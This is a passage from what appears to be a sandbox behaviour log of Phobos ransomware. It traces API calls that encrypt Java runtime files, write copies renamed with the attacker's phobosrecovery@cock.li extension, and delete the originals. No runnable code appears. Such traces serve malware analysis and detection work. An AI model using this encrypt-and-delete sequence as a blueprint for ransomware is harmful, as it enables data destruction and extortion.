dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.414] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.414] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.414] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d16d0) returned 1 [0178.414] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.414] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xf840, lpOverlapped=0x0) returned 1 [0178.469] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xf850, dwBufLen=0xf850 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xf850) returned 1 [0178.469] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf850, lpOverlapped=0x0) returned 1 [0178.470] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1710) returned 1 [0178.470] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.470] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0178.470] CryptDestroyKey (hKey=0x1d1710) returned 1 [0178.470] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0178.470] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0178.470] CloseHandle (hObject=0x2ec) returned 1 [0178.470] CloseHandle (hObject=0x2d8) returned 1 [0178.471] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0178.472] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0178.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.473] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=21056) returned 1 [0178.473] CloseHandle (hObject=0x2d8) returned 1 [0178.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0178.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.475] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.476] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.476] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0178.476] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.476] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x5240, lpOverlapped=0x0) returned 1 [0178.537] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x5250, dwBufLen=0x5250 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x5250) returned 1 [0178.537] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x5250, lpOverlapped=0x0) returned 1 [0178.538] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1ad0) returned 1 [0178.538] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.538] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0178.538] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0178.538] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0178.538] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0178.538] CloseHandle (hObject=0x2d8) returned 1 [0178.538] CloseHandle (hObject=0x2ec) returned 1 [0178.539] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0178.540] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0178.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.540] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=15936) returned 1 [0178.540] CloseHandle (hObject=0x2ec) returned 1 [0178.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0178.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0178.541] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.541] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.544] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1410) returned 1 [0178.544] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.544] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x3e40, lpOverlapped=0x0) returned 1 [0178.735] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x3e50, dwBufLen=0x3e50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x3e50) returned 1 [0178.735] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x3e50, lpOverlapped=0x0) returned 1 [0178.738] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1810) returned 1 [0178.738] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.738] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0178.738] CryptDestroyKey (hKey=0x1d1810) returned 1 [0178.738] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0178.738] CryptDestroyKey (hKey=0x1d1410) returned 1 [0178.738] CloseHandle (hObject=0x2ec) returned 1 [0178.738] CloseHandle (hObject=0x2d8) returned 1 [0178.742] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0178.745] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0178.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.749] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=206912) returned 1 [0178.749] CloseHandle (hObject=0x2cc) returned 1 [0178.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0178.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.750] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.750] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0178.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.781] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1610) returned 1 [0178.781] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0178.781] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x32840, lpOverlapped=0x0) returned 1 [0179.120] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x32850, dwBufLen=0x32850 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x32850) returned 1 [0179.120] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x32850, lpOverlapped=0x0) returned 1 [0179.123] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d19d0) returned 1 [0179.123] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0179.123] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0179.123] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0179.123] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0179.123] CryptDestroyKey (hKey=0x1d1610) returned 1 [0179.123] CloseHandle (hObject=0x2cc) returned 1 [0179.123] CloseHandle (hObject=0x2e8) returned 1 [0179.123] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0179.126] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0179.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0179.135] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=80448) returned 1 [0179.135] CloseHandle (hObject=0x2e8) returned 1 [0179.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0179.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0179.136] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0179.136] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0179.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0179.138] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1ad0) returned 1 [0179.138] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0179.138] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x13a40, lpOverlapped=0x0) returned 1 [0179.140] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x13a50, dwBufLen=0x13a50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x13a50) returned 1 [0179.140] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x13a50, lpOverlapped=0x0) returned 1 [0179.142] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d19d0) returned 1 [0179.142] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0179.142] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0179.142] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0179.142] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0179.142] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0179.142] CloseHandle (hObject=0x2e8) returned 1 [0179.142] CloseHandle (hObject=0x2e4) returned 1 [0179.142] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0179.145] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0179.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0179.146] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=538176) returned 1 [0179.146] CloseHandle (hObject=0x2e8) returned 1 [0179.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0179.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0179.146] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0179.146] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0179.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0179.147] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1b90) returned 1 [0179.147] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0179.147] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x83640, lpOverlapped=0x0) returned 1 [0179.350] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x83650, dwBufLen=0x83650 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x83650) returned 1 [0179.350] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x83650, lpOverlapped=0x0) returned 1 [0179.358] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1710) returned 1 [0179.358] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0179.359] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0179.359] CryptDestroyKey (hKey=0x1d1710) returned 1 [0179.359] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0179.359] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0179.359] CloseHandle (hObject=0x2e8) returned 1 [0179.360] CloseHandle (hObject=0x2d8) returned 1 [0179.360] DeleteFileW 